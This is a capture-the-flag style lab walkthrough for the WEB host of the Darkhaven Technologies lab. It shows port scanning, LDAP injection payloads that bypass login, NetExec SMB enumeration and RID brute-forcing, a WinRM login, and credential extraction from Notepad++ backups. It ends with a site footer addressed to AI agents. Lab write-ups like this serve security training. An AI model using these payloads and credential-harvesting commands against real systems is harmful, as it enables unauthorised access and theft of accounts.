# WEB

{% embed url="<https://www.hacksmarter.org/courses/46ed15ab-0904-4cae-8a2c-2e91ac6e0274>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Entry Point

{% hint style="warning" %}
Start here!
{% endhint %}

## Recon

We use `rustscan -b 500 -a web.ext.darkhaven.local --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a web.ext.darkhaven.local --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/FpVuVK0sHPs7cQVJr7Ou" alt=""><figcaption></figcaption></figure>

The target `web.ext.darkhaven.local` appears to be a Windows-based host.&#x20;

It hosts an IIS 10.0 web server on port 80, running Microsoft HTTPAPI, with the site titled `Darkhaven Technologies – Secure Network Solutions`. SMB services `139/445` are exposed with message signing enabled but not enforced. Multiple MSRPC endpoints `2103, 2105, 2107, 49680` and MSMQ `1801` are also open. Remote access is also available via RDP `3389` and WinRM `5985`.

<figure><img src="/files/0sxvbfQha1eOjjEq1ENF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OIXgnU7jhmR5SRbvBBj3" alt=""><figcaption></figcaption></figure>

## WEB

First, we'll take a look at the hosted web service manually. We visit the site and find the Darkhaven Technologies page, which offers various security services.

{% code overflow="wrap" %}

```
http://web.ext.darkhaven.local/
```

{% endcode %}

<figure><img src="/files/M0t39gUiUviK5ocmFnVv" alt=""><figcaption></figcaption></figure>

We access the client portal and are redirected to a login page. In addition to entering our credentials, we can also proceed as a `guest`.

{% code overflow="wrap" %}

```
http://web.ext.darkhaven.local/login.aspx
```

{% endcode %}

<figure><img src="/files/n2a55JSVg0EFSNElWMKK" alt=""><figcaption></figcaption></figure>

### Access as guest

We are in the Guest Portal and see a Help Desk chat. The chat mentions shares such as `\\share\DarkhavenData`. We also see chat suggestions that include a domain user named `sql_svc` in the example.

{% code overflow="wrap" %}

```
http://web.ext.darkhaven.local/guest.aspx
```

{% endcode %}

<figure><img src="/files/yVoE33wxhEvNqAdifAT1" alt=""><figcaption></figcaption></figure>

### Access as sql\_svc

If we use the example query `find user sql_svc`, we're in luck in this case and get a default password for the user. We'll make a note of this; we might need it later.

{% code overflow="wrap" %}

```
find user sql_svc
```

{% endcode %}

<figure><img src="/files/2EPvHj5IXw8uvT0G8WUi" alt=""><figcaption></figcaption></figure>

We use the credentials during login and are successful.

{% code overflow="wrap" %}

```
http://web.ext.darkhaven.local/login.aspx
```

{% endcode %}

<figure><img src="/files/37wCzXEUBoYvR4AoLMG1" alt=""><figcaption></figcaption></figure>

On the dashboard, we repeatedly see the credentials for the user `sql_svc`.

<figure><img src="/files/bqTvTLbEv1e6QFrHVvL0" alt=""><figcaption></figcaption></figure>

### Access as administrator

During testing, we also noticed that we can log in by entering `*`. Some sort of injection is possible.

{% code overflow="wrap" %}

```
*
```

{% endcode %}

<figure><img src="/files/Mq5pShp7hOXKEEiOCxBq" alt=""><figcaption></figcaption></figure>

But no admin credentials here...

<figure><img src="/files/sKPf73vn18OTZdeZSHFr" alt=""><figcaption></figcaption></figure>

### Alternative Access as sql\_svc via LDAP Injection

We also tried other special characters and received an LDAP error when using `)`. This means we were previously able to log in using \* due to a successful LDAP injection.

{% code overflow="wrap" %}

```
)
```

{% endcode %}

<figure><img src="/files/zGTrGemKpjCiIB8KkACK" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/README.md>" %}

> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

We try one of the example payloads from PayloadsAllTheThings but fail. We can see that the LDAP query isn't resolving properly.

{% code overflow="wrap" %}

```
sql_svc)(!(&(1=0
```

{% endcode %}

<figure><img src="/files/NIm6twO46Yl5W2xSVNjN" alt=""><figcaption></figcaption></figure>

We resolve them properly, try to log in as `sql_svc` without a password, and succeed.

{% code overflow="wrap" %}

```
sql_svc)(|(sAMAccountName=*)
```

{% endcode %}

<figure><img src="/files/RyXbofl6HQj94jnAlqEH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pP6bOYqJDJrftA9rAc7e" alt=""><figcaption></figcaption></figure>

## SMB

### Access as sql\_svc

We are now attempting to authenticate via SMB using `sql_svc`. We have already confirmed, through the LDAP injection, that we are dealing with Active Directory credentials here.We then list the available shares for the `sql_svc` account. This confirmed that the `IPC$` share was readable.&#x20;

{% code overflow="wrap" %}

```
nxc smb web.ext.darkhaven.local -u sql_svc -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/dEbHKEtoMsCieZQCNR5s" alt=""><figcaption></figcaption></figure>

To further enumerate domain users, we perform a RID brute-force, since the `IPC$` share is readable.

{% code overflow="wrap" %}

```
nxc smb web.ext.darkhaven.local -u sql_svc -p 'REDACTED' --rid
```

{% endcode %}

<figure><img src="/files/F8B5ehEyCVp3ynglfEhQ" alt=""><figcaption></figcaption></figure>

We also request the the password policy.

{% code overflow="wrap" %}

```
nxc smb dc.ext.darkhaven.local -u sql_svc -p 'REDACTED' --pass-pol
```

{% endcode %}

<figure><img src="/files/JziL7wzMefwTUetin5Z6" alt=""><figcaption></figcaption></figure>

We're stuck here for now, but since we now have an SQL service user, we'll continue with SQL Server.

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/sql>" %}

***

{% hint style="warning" %}
STOP HERE AND CONTINUE AT SQL.EXT.DARKHAVEN.LOCAL. This section becomes relevant after solving SHARE.EXT.DARKHAVEN.LOCAL.
{% endhint %}

Reference:

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/share#access-as-svc_webpool>" %}

## Shell as svc\_webpool

Using Inveigh, we captured the NTLMv2 hash of the `svc_webpool` account on `SHARE.EXT.DARKHAVEN.LOCAL`. After failing to crack it with `rockyou.txt`, we successfully recovered the password using the retrieved wordlist `it_security_wordlist.txt` form the share `DarkhavenData`. With the obtained credentials, we authenticated over SMB and confirmed that `svc_webpool` has local administrator privileges on the WEB machine. These credentials will be used for further access on the target system.

<figure><img src="/files/7PLfH2jCqt9zZgo1YXxl" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
nxc rdp targets.txt -u svc_webpool -p 'REDACTED' --local-auth
```

{% endcode %}

<figure><img src="/files/lm9lu4pGPeGCgc20J7EZ" alt=""><figcaption></figcaption></figure>

We connect to the target machine with the gathered credntials using evil-winrm.

{% code overflow="wrap" %}

```
evil-winrm -i web.ext.darkhaven.local -u 'svc_webpool' -p 'REDACTED'
```

{% endcode %}

<figure><img src="/files/HicN5fWbHSy9C8qDizn8" alt=""><figcaption></figcaption></figure>

We enumerate the users directories...

{% code overflow="wrap" %}

```
tree /f
```

{% endcode %}

<figure><img src="/files/XM35QoqBtQP597zEnucc" alt=""><figcaption></figcaption></figure>

We find a portable notepad executable and the location of the flag for `WEB.EXT.DARKHAVEN.LOCAL`.

<figure><img src="/files/6hmIEJ9XFALZausjaHRY" alt=""><figcaption></figcaption></figure>

The flag is located at `C:\Users\Administrator\Desktop\root.txt`.

<figure><img src="/files/5pGmIfHnfyhTDPS4CDfO" alt=""><figcaption></figcaption></figure>

## Post Compromise&#x20;

### Access as kwarren

We found a portable version of Notepad++ in the user folder structure. In the AppData folder, we find the Notepad backup folder, which contain the changes made to the files during the last session. There is a `main_config.php`.&#x20;

<figure><img src="/files/CbSS21YLN4kvn77vrcbt" alt=""><figcaption></figcaption></figure>

Inside of this file we are able to extract the credentials of `kwarren`.

<figure><img src="/files/Jj9FyPkkZrm1AQGVDb9u" alt=""><figcaption></figcaption></figure>

This can also be extracted remotely using NetExec.

{% embed url="<https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-notepad++>" %}

{% code overflow="wrap" %}

```
nxc smb web.ext.darkhaven.local -u svc_webpool -p 'REDACTED' --local-auth -M notepad++
```

{% endcode %}

<figure><img src="/files/0QQvlFv6kGa3lkPJpPGo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6WgkpFlOwYUYAC7rpODs" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec and are able to authenticate as `kwarren`.

{% code overflow="wrap" %}

```
nxc smb web.ext.darkhaven.local -u kwarren -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/Dda0enY0Bz73GQWwZ92N" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
From here, we can head back to CA.EXT.DARKHAVEN.LOCAL.
{% endhint %}

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/ca>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/darkhaven-technologies/web.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
